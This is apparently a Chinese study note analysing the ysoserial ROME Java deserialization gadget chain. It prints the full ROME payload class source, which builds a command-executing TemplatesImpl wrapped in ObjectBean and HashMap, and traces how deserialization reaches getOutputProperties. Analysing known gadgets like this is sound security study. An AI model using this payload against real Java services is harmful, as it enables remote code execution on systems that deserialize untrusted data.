ROME反序列化|ysoserial学习
Gadget
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
ysoserial源码
package ysoserial.payloads;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@Dependencies("rome:rome:1.0")
@Authors({ Authors.MBECHLER })
public class ROME implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
System.out.println("ROME getObject Start!!!");
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args);
}
}
- 执行
Object o = Gadgets.createTemplatesImpl(command);
获得一个执行command的TemplatesImpl
恶意类 - new一个
ObjectBean
作为delegate参数,将Templates.class
恶意类作为beanClass
参数 - new一个
ObjectBean
作为root参数, 将ObjectBean.class
恶意类作为beanClass
参数,上面的delegate
作为obj
- 将
root
参数作为key写入到一个HashMap中(就是通过HashMap触发参数中key
(也就是root参数)的hashCode
函数)
这里看一下ROME的构造方法:
com.sun.syndication.feed.impl.ObjectBean#ObjectBean(java.lang.Class, java.lang.Object)
public ObjectBean(Class beanClass, Object obj) {
this(beanClass, obj, (Set)null);
}
com.sun.syndication.feed.impl.ObjectBean#ObjectBean(java.lang.Class, java.lang.Object, java.util.Set)
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}
看一下三个Bean的构造函数, 就是分别设置三个Bean,各自的代码如下, 赋值
_beanClass
为构造函数第一个参数beanClass
,赋值_obj
为构造函数第二个参数obj
(这点很重要,因为后面的调用链几乎都是这些Bean在起作用)com.sun.syndication.feed.impl.EqualsBean#EqualsBean(java.lang.Class, java.lang.Object)
com.sun.syndication.feed.impl.ToStringBean#ToStringBean(java.lang.Class, java.lang.Object)
com.sun.syndication.feed.impl.CloneableBean#CloneableBean(java.lang.Object, java.util.Set)
HashMap<K,V>.readObject(ObjectInputStream)
HashMap<K,V>.hash(Object)
这里的key就是root
参数,触发它的hashCode方法
进入ROME::ObjectBean.hashCode()
注意这里的this._equalsBean
就是构造函数的第一个参数,这里就是root构造函数的参数的第一个参数ObjectBean.class
,因此触发ObjectBean.beanHashCode
EqualsBean.beanHashCode()
这里的this._obj
就是构造root的时的第二个参数delegate
,因此触发ObjectBean.toString
ObjectBean.toString
这里的this_toStringBean
也还是第一个参数ObjectBean.class
,所以走到ObjectBean.toString
函数
ToStringBean.toString(无参方法)
到这里存放了恶意类Templates
的delegate
变量就开始起作用了,delegate
变量被赋值放到了this._obj
中,因此触发
ToStringBean.toString(String)
注意: 这里并不是使用org.apache.xalan.xsltc.trax.TemplatesImpl
而是使用它的接口javax.xml.transform.Templates
,否则直接会在yso的代码中中断,显示需要一个接口类型
此外, 还有一点可能会有问题就是,即使在构造好了恶意的HashMap之后使用反射修改delegate
的_equalsBean,_toStringBean
这两个Bean中的_beanClass
变为TemplatesImpl
也可能会出现问题, 因为这里的ToStringBean.toString(String)
方法中是通过BeanIntrospector.getPropertyDescriptors
获取类的全部getter方法,然后调用无参方法, 如果是在TemplatesImpl
中有多个getter方法, 在其他getter参数的调用过程中可能会出错?(会不会我没试就不知道了)
而反观TemplatesImpl
的Templates
接口,就只定义了两个方法, 更是只有getOutputProperties
这一个需要我们调用的方法是getter方法,因此可以说是刚好满足了
TemplatesImpl.getOutputProperties
在上面通过BeanIntrospector.getPropertyDescriptors
从Templates
接口获取了getOutputProperties
方法,然后调用它的this._obj
(存放也已代码的TemplatesImpl对象)的getOutputProperties方法
到这里后面就是标准的加载流程了因此ROME的跟踪到此结束